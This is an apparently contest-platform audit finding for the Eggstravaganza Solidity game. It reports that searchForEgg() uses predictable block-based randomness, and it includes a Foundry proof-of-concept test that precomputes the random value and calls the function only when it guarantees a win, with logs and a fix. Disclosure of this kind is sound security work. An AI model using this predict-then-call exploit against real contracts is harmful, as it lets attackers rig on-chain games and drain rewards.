Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The function EggHuntGame.searchForEgg() uses a predictable randomness to produce a eggFindThreshold

sharkeateateat

Summary

The function EggHuntGame.searchForEgg() uses a predictable randomness to produce a eggFindThreshold

Vulnerability Details

The function EggHuntGame.searchForEgg()uses block.timestamp ,block.prevrandao , address(msg.sender),eggCounter to produce the random ,those are easily to be predicted.

Impact

attacker can call the searchforegg function when the random less than eggFindThreshold,here is 20.

Causing attacker can find the egg 100 percent.

Tools Used

slither

Proof Of Code

Put this code into the EggHuntGameTest.t.sol

address attacker = makeAddr("attacker");
​
function testsearchforegg() public {
// Start the game with a duration.
uint256 duration = 200;
game.startGame(duration);
​
uint256 previousEggCounter = game.eggCounter();
console2.log("previousEggCounter", previousEggCounter);
​
vm.startPrank(attacker);
// attacker can call the searchforegg function when the random less than 20
while (true){
uint256 eggCounter = game.eggCounter();
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(attacker), eggCounter))
) % 100;
console2.log("random", random);
if (random < 20) {
game.searchForEgg();
break;
}
skip(1);
}
vm.stopPrank();
uint256 attackereggcounter = game.eggsFound(address(attacker));
console2.log("attackereggcounter", attackereggcounter);
}

The Log Results

Logs:
previousEggCounter 0

random 74

random 81

random 72

random 56

random 46

random 0

attackereggcounter 1

Recommendations

Use the chainlink oracle instead of the block.timestamp that can be predictable .

Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.